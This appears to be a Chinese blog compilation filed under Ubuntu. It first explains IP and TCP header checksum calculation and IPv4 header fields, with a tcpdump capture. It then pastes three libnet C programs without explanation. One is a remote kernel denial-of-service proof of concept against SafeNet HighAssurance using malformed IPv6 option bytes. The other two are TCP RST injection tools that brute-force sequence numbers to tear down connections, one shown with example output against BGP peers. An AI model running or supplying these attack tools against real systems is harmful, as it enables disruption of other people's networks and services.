分类 Ubuntu 下的文章

“Ubuntu是以桌面应用为主的Linux发行版,基于Debian。Ubuntu有三个正式版本,包括桌面版、服务器版及用于物联网设备和机器人的Core版。从17.10版本开始,Ubuntu以GNOME为默认桌面环境。 Ubuntu是著名的Linux发行版之一,也是目前最多用户的Linux版本。 ”

IP和TCP头校验和计算算法
update:2021-11-9
◆◆当发送IP包时,需要计算IP报头的校验和:

1、  把校验和字段置为0;

2、  对IP头部中的每16bit进行二进制求和;

3、  如果和的高16bit不为0,则将和的高16bit和低16bit反复相加,直到和的高16bit为0,从而获得一个16bit的值;

4、  将该16bit的值取反,存入校验和字段。

◆◆当接收IP包时,需要对报头进行确认,检查IP头是否有误:

算法同上2、3步(不需要将校验和字段置0),然后判断取反的结果是否为0,是则正确,否则有错。

◆◆算法:

SHORT checksum(USHORT* buffer, int size)

{
unsigned long cksum = 0;

//每16位相加

while(size>1)

{
    cksum += *buffer++;

    size -= sizeof(USHORT);

}

//最后的奇数字节

if(size)

{
    cksum += (UCHAR)buffer;

}

cksum = (cksum>>16) + (cksum&0xffff);  //将高16bit与低16bit相加

cksum += (cksum>>16);                             //将进位到高位的16bit与低16bit 再相加,确保高16位为0

return (USHORT)(~cksum); //最后将结果取反,得到checksum

}

 

◆◆实例:

IP头:  

              45 00    00 31

              89 F5    00 00

              6E 06    00 00(校验字段置0)

              DE B7   45 5D     ->    222.183.69.93

              C0 A8   00 DC     ->    192.168.0.220

计算(IP头20字节):   

    4500 + 0031 +89F5 + 0000 + 6e06+ 0000 + DEB7 + 455D + C0A8 + 00DC =3 22C4   //每16bit二进制求和

    0003 + 22C4 = 22C7   //高16bit和低16bit反复相加,直到高16位为0

     ~22C7 = DD38            //即为应填充的校验和

当接受到IP数据包时,要检查IP头是否正确,则对IP头进行检验,方法同上(校验和字段不需要置0):

计算:

    4500 + 0031 +89F5 + 0000 + 6E06+ DD38 + DEB7 + 455D + C0A8 + 00DC =3 FFFC   //每16bit二进制求和

    0003 + FFFC = FFFF         //高16bit和低16bit反复相加,直到高16位为0

     ~FFFF = 00000                  //正确

TCP首部检验和与IP首部校验和的计算方法相同,在程序中使用同一个函数来计算。
需要注意的是,由于TCP首部中不包含源地址与目标地址等信息,为了保证TCP校验的有效性,在进行TCP校验和的计算时,需要增加一个TCP伪首部的校验和,定义如下:

struct 
{
unsigned long saddr; //源地址
unsigned long daddr; //目的地址
char mbz; //强制置空
char ptcl; //协议类型
unsigned short tcpl; //TCP长度
}psd_header;

然后我们将这两个字段复制到同一个缓冲区SendBuf中并计算TCP校验和:
memcpy(SendBuf, &psd_header, sizeof(psd_header)); 
memcpy(SendBuf+sizeof(psd_header), &tcp_header, sizeof(tcp_header));
tcp_header.th_sum=checksum((USHORT *)SendBuf, sizeof(psd_header)+sizeof(tcp_header));
Referenced from:https://blog.csdn.net/jiangqin115/article/details/39313689

IPv4头部结构
  以IPv4版本的IP协议为例,分析其头部信息:
  IPv4的头部结构长度为20字节,若含有可变长的选项部分,最多60字节。

(1) 版本号:IP协议的版本。对于IPv4来说值是4
  (2) 头部长度:4位最大为0xF,注意该字段表示单位是字(4字节)
  (3) 服务类型(Type Of Service,TOS):3位优先权字段(现已被忽略) + 4位TOS字段 + 1位保留字段(须为0)。4位TOS字段分别表示最小延时、最大吞吐量、最高可靠性、最小费用,其中最多有一个能置为1。应用程序根据实际需要来设置 TOS值,如ssh和telnet这样的登录程序需要的是最小延时的服务,文件传输ftp需要的是最大吞吐量的服务
  (4) 总长度: 指整个IP数据报的长度,单位为字节,即IP数据报的最大长度为65535字节(2的16次方)。由于MTU的限制,长度超过MTU的数据报都将被分片传输,所以实际传输的IP分片数据报的长度远远没有达到最大值

  下来的3个字段则描述如何实现分片:
  (5) 标识:唯一地标识主机发送的每一个数据报,其初始值是随机的,每发送一个数据报其值就加1。同一个数据报的所有分片都具有相同的标识值
  (6) 标志: 位1保留,位2表禁止分片(DF),若设置了此位,IP模块将不对数据报进行分片,在此情况下若IP数据报超过MTU,IP模块将丢弃数据报并返回一个ICMP差错报文;位3标识更多分片(MF),除了数据报的最后一个分片,其他分片都要把它设置为1
  (7) 位偏移:分片相对原始IP数据报数据部分的偏移。实际的偏移值为该值左移3位后得到的,所以除了最后一个IP数据报分片外,每个IP分片的数据部分的长度都必须是8的整数倍

  (8) 生存时间::数据报到达目的地之前允许经过的路由器跳数。TTL值被发送端设置,常设置为64。数据报在转发过程中每经过一个路由该值就被路由器减1.当TTL值为0时,路由器就将该数据包丢弃,并向源端发送一个ICMP差错报文。TTL可以防止数据报陷入路由循环
  (9) 协议: 区分IP协议上的上层协议。在Linux系统的/etc/protocols文件中定义了所有上层协议对应的协议字段,ICMP为1,TCP为6,UDP为17
  (10) 头部校验和: 由发送端填充接收端对其使用CRC算法校验,检查IP数据报头部在传输过程中是否损坏
  (11) 源IP地址和目的IP地址: 表示数据报的发送端和接收端。一般情况下这两个地址在整个数据报传递过程中保持不变,不论中间经过多少个路由器
  (12) 选项:可变长的可选信息,最多包含40字节。选项字段很少被使用。

执行telnet命令登录本机,并在另一终端抓取这个过程中telnet服务器-telnet客户端之间的数据包:

$ sudo tcpdump -ntx -i lo

  在另一终端:

$ telnet 127.0.0.1

  观察tcpdump抓取到的数据:

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on lo, link-type EN10MB (Ethernet), capture size 65535 bytes
IP 127.0.0.1.44626 > 127.0.0.1.23: Flags [S], seq 3041640326, win 43690, options [mss 65495,sackOK,TS val 4701824 ecr 0,nop,wscale 7], length 0

0x0000:  4510 003c 0106 4000 4006 3ba4 7f00 0001
0x0010:  7f00 0001 ae52 0017 b54b bf86 0000 0000
0x0020:  a002 aaaa fe30 0000 0204 ffd7 0402 080a
0x0030:  0047 be80 0000 0000 0103 0307

  这是一个IP数据报:
  (1) telnet登录的是本机,所以IP数据报的源端IP地址和目的端IP地址都是127.0.0.1。telnet服务器使用的端口号是23,

  telnet客户端使用的是临时端口号44626。telnet服务使用的是TCP协议,Flags、sq、win、options描述的都是TCP头部信息,详细将在TCP协议分析中解析。

  (2) tcpdump命令开启-x选项,使之输出二进制码。这些二进制码用十六进制的格式呈现,共60字节: 前20字节是IP头部,后40字节是TCP头部。length为0表示这些数据不包含数据。

  对照前面表格的IPv4,可得各数据取值意义如下:

0x4             4位的版本号                      IP版本号
0x5             4位的头部长度                 头部长度为5个字(20字节)
0x10            8位的服务类型TOS              开启最小延时服务
0x003c          16位的总长度                 数据包总长度(60字节)

0x0106          16位的标识                      数据报标识
0x4             3位的标志                       禁止分片,因没携带数据

0x000           13位的位偏移                 为0表没发生位偏移
0x40            8位的生存时间                 生存时间为64跳
0x06            8位的协议字段                 为6表上层协议是TCP协议

0x3ba4          16位的IP头部校验和             头部校验和

0x7f00 0001     32位的源端IP地址              源端IP地址127.0.0.1
0x7f00 0001     32位的目的端IP地址             目的端IP地址127.0.0.1

Referenced from:https://blog.csdn.net/qq_29344757/article/details/78570272

include <libnet.h>

int main (int argc, char **argv)
{
u_char *buf = NULL;

/ libnet vars /
char errbuf[LIBNET_ERRBUF_SIZE];
libnet_t *lnsock;
char *device = NULL;

/ packet vars /
struct ip *ip_hdr = NULL;
struct opt *opt_hdr = NULL;
u_int32_t src_ip = 0, dst_ip = 0;

printf ("SafeNet HighAssurance Remote ~1.4.0 Ring0 DoS POCn"

      "by John Anderson <john@ev6.net>\n"
      "   mu-b <mu-b@digit-labs.org>\n\n");

if (!argv[1])

{
  printf ("Usage: %s <destination> [source]\n", argv[0]);
  exit (EXIT_FAILURE);
}

/ allocate space for packet /
if ((buf = malloc (IPV6_HDR_LEN + UDP_LEN)) == NULL)

{
  perror ("malloc: ");
  exit (EXIT_FAILURE);
}

/ initialise libnet /
lnsock = libnet_init (LIBNET_RAW4_ADV, device, errbuf);
if (lnsock == NULL)

{
  fprintf (stderr, "libnet_init() failed: %s", errbuf);
  exit (-1);
}

if (!argv[2])

src_ip = lookup ("127.0.0.1");

else

src_ip = lookup (argv[2]);

dst_ip = lookup (argv[1]);

/ Build the pseudo-IPv4 header /
memset (buf, 0, sizeof buf);
ip_hdr = (struct ip *) buf;
ip_hdr->ip_v = 6;
ip_hdr->ip_hl = 0;
ip_hdr->ip_tos = 0;
ip_hdr->ip_len = htons (IPV6_HDR_LEN + UDP_LEN);
ip_hdr->ip_id = htons (0);
ip_hdr->ip_off = htons (0);
ip_hdr->ip_ttl = 0;
ip_hdr->ip_p = 0;
ip_hdr->ip_sum = 0;
ip_hdr->ip_src.s_addr = src_ip;
ip_hdr->ip_dst.s_addr = dst_ip;

/ Build option header with poison bytes /
opt_hdr = (struct opt *) (buf + IPV6_HDR_LEN);
opt_hdr->nxt_hdr = 0x3C; / != 0x3B /
opt_hdr->opt_len = 0x07; /* length n such that:-

                             *(((u_char *)opt_hdr) + n * 2) != 0x3B &&
                             *(((u_char *)opt_hdr) + n * 2 + 1) == 0x00 &&
                             n * 2 < IPV6_HDR_LEN + UDP_LEN */
                            /* a value of 0x00 will suffice!@$%! */

printf ("Attacking %s", argv[1]);
libnet_write_raw_ipv4 (lnsock, buf, IPV6_HDR_LEN + UDP_LEN);
printf (".n");

return (EXIT_SUCCESS);
}

//gcc tcp_reset.c -o tcp_reset -lnet

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <libnet.h>

void 
usage(char *prog)
{
    fprintf(stderr, "Usage: %s -s <src ip> -d <dst ip> -p <src port> -q <dst port> [-n <seq>] [-w <window size>] [-t <timeout>]\n"
        "\t-s\tsource ip address\n"
        "\t-d\tdestination ip address\n"
        "\t-p\tsource port\n"
        "\t-q\tdestination port\n"
        "\t-n\tinitial sequence number (default random)\n"
        "\t-w\twindow size (default 1000)\n"
        "\t-t\tpacket timeout (default 10000 usec)\n"
        ,prog);
    exit(-1);
}

int
main(int argc, char **argv)
{

    int             c, build_ip, opt, win = 1000, timeout = 10000;
    unsigned short  src_port = 0, dst_port = 0;
    unsigned long   src_ip = 0, dst_ip = 0, seq = 0;
    libnet_t       *l;
    libnet_ptag_t   tcp, ip;
    struct libnet_stats stat;
    char            errbuf[LIBNET_ERRBUF_SIZE];

    memset(&stat, 0, sizeof(stat));

    if ((l = libnet_init(LIBNET_RAW4, NULL, errbuf)) == NULL) {
        fprintf(stderr, "Libnet_init error: %s\n", errbuf);
        exit(-1);
    }
    while ((opt = getopt(argc, argv, "s:d:p:q:n:w:t:h")) != -1)
        switch (opt) {
        case 's':
            src_ip = libnet_name2addr4(l, optarg, LIBNET_DONT_RESOLVE);
            break;
        case 'd':
            dst_ip = libnet_name2addr4(l, optarg, LIBNET_DONT_RESOLVE);
            break;
        case 'p':
            src_port = atoi(optarg);
            break;
        case 'q':
            dst_port = atoi(optarg);
            break;
        case 'n':
            seq = strtoul(optarg, NULL, 0);
            break;
        case 'w':
            win = atoi(optarg);
            break;
        case 't':
            timeout = atoi(optarg);
            break;
        case 'h':
        case '?':
            usage(argv[0]);
        }

    if (optind < argc)
        usage(argv[0]);

    if (!src_ip || !dst_ip || !src_port || !dst_port)
        usage(argv[0]);

    if (!seq) {
        libnet_seed_prand(l);
        seq = libnet_get_prand(LIBNET_PRu32);
    }
    for (tcp = LIBNET_PTAG_INITIALIZER, build_ip = 1; seq < 4294967296 - win; seq += win) {

        tcp = libnet_build_tcp(
                       src_port,    /* source port */
                       dst_port,    /* destination port */
                       seq,    /* sequence number */
                       0,    /* acknowledgement num */
                       TH_RST,    /* control flags */
                       31337,    /* window size */
                       0,    /* checksum */
                       0,    /* urgent pointer */
                       LIBNET_TCP_H,    /* TCP packet size */
                       NULL,    /* payload */
                       0,    /* payload size */
                       l,    /* libnet handle */
                       tcp);    /* libnet id */

        if (tcp == -1) {
            fprintf(stderr, "Libnet_build_tcp error: %s\n", libnet_geterror(l));
            goto bad;
        }
        if (build_ip) {
            build_ip = 0;
            ip = libnet_build_ipv4(
                           LIBNET_IPV4_H + LIBNET_TCP_H,    /* length */
                           0,    /* TOS */
                           666,    /* IP ID */
                           0,    /* IP Frag */
                           64,    /* TTL */
                           IPPROTO_TCP,    /* protocol */
                           0,    /* checksum */
                           src_ip,    /* source IP */
                           dst_ip,    /* destination IP */
                           NULL,    /* payload */
                           0,    /* payload size */
                           l,    /* libnet handle */
                           0);    /* libnet id */

            if (ip == -1) {
                fprintf(stderr, "Libnet_build_ipv4 error: %s\n", libnet_geterror(l));
                goto bad;
            }
        }
        if ((c = libnet_write(l)) == -1) {
            fprintf(stderr, "Libnet_write error: %s\n", libnet_geterror(l));
            goto bad;
        }
        usleep(timeout);
    }

    libnet_stats(l, &stat);
    fprintf(stderr, "Packets sent:  %d (%d bytes)\n"
        "Packet errors: %d\n",
        stat.packets_sent, stat.bytes_written, stat.packet_errors);
    libnet_destroy(l);
    exit(0);

bad:
    libnet_destroy(l);
    exit(-1);
}

Build a TCP packet - based on tcp1.c sample code from libnet-1.1.1

COMPILE:
  gcc reset-tcp.c -o reset-tcp /usr/lib/libnet.a
   be sure to modify the MAC addresses (enet_src/enet_dst) in the code, or you WILL have problems!
    EXECUTE:
  reset-tcp [interface] [src ip] [src port] [dst ip] [dst port] [window size]
    EXAMPLE (and timing packets sent with /bin/date):
      [root@orc BGP]# date; ./reset-tcp eth1 172.16.0.1 1 172.16.0.2 2 65536; date
      Tue Dec 16 21:18:28 CST 2003
      Packets sent: 8192      Sequence guess: 536805376
      Packets sent: 16384     Sequence guess: 1073676288
      Packets sent: 24576     Sequence guess: 1610547200
      Packets sent: 32768     Sequence guess: 2147418112
      Packets sent: 40960     Sequence guess: 2684289024
      Packets sent: 49152     Sequence guess: 3221159936
      Packets sent: 57344     Sequence guess: 3758030848
      packets sent: 65535
      Tue Dec 16 21:18:46 CST 2003

#include <libnet.h>
#include <stdio.h>

int main(int argc, char *argv[])
{
    int c;
    unsigned long int count=0;
    unsigned long int count2=0;
    unsigned long int seqguess=0;
    unsigned long int seqstart=0;
    unsigned long int seqincrement=0;
    unsigned long int seqmax=4294967295;
    u_char *cp;
    libnet_t *l;
    libnet_ptag_t t;
    char *payload;
    char * device = argv[1];
    u_short payload_s;
    u_long src_ip, dst_ip;
    u_short src_prt, dst_prt;
    char errbuf[LIBNET_ERRBUF_SIZE];

    char sourceip[32]        = "";
    char destinationip[32]    = "";

/* Change these to suit your local environment values */
/* Make enet_dst either the default gateway or destination host */
    u_char enet_src[6] = {0x00, 0x60, 0x08, 0xa1, 0x31, 0xf2};
    u_char enet_dst[6] = {0x00, 0x40, 0x2b, 0x4d, 0xf5, 0x23};
    u_char org_code[3]   = {0x00, 0x00, 0x00};

/* Its only test code, so minimal checking is performed... */
    if (argc<7) { 
      printf("Usage: %s [interface] [src ip] [src port] [dst ip] [dst port] [window size]\n",argv[0]); 
      printf("**Be sure to re-compile with appropriate MAC addresses!!! You were warned.\n");
      exit(1);
      }

    strcpy(sourceip,argv[2]);
    src_prt = atoi(argv[3]);
    strcpy(destinationip,argv[4]);
    dst_prt = atoi(argv[5]);
    seqincrement= atoi(argv[6]);
    seqstart= 0;
    seqmax  = 4294967295;    /* 2^32 */

    payload = NULL;
    payload_s = 0;
    src_ip  = libnet_name2addr4(l,sourceip,LIBNET_DONT_RESOLVE);
    dst_ip  = libnet_name2addr4(l,destinationip,LIBNET_DONT_RESOLVE);

for (seqguess=seqstart;seqguess<seqmax-seqincrement;seqguess=seqguess+seqincrement) {
    count++; count2++;
    if (count2==8192) { count2=0; printf("Packets sent: %lu\tSequence guess: %lu\n",count,seqguess); }
    l = libnet_init(LIBNET_LINK,device,errbuf);
    t = libnet_build_tcp(src_prt,dst_prt,seqguess,0x00000001,TH_RST,0,0,0,LIBNET_TCP_H,NULL,0,l,0);
    t = libnet_build_tcp(src_prt,dst_prt,seqguess,0x00000001,TH_RST,0,0,0,LIBNET_TCP_H,NULL,0,l,0);
    t = libnet_build_ipv4(LIBNET_IPV4_H+LIBNET_TCP_H+payload_s,0,242,0,64,IPPROTO_TCP,0,src_ip,dst_ip,NULL,0,l,0);
    t = libnet_build_ethernet(enet_dst,enet_src,ETHERTYPE_IP,NULL,0,l,0);
    c = libnet_write(l);
    }
printf("packets sent: %i\n",count);
return (EXIT_FAILURE); 
}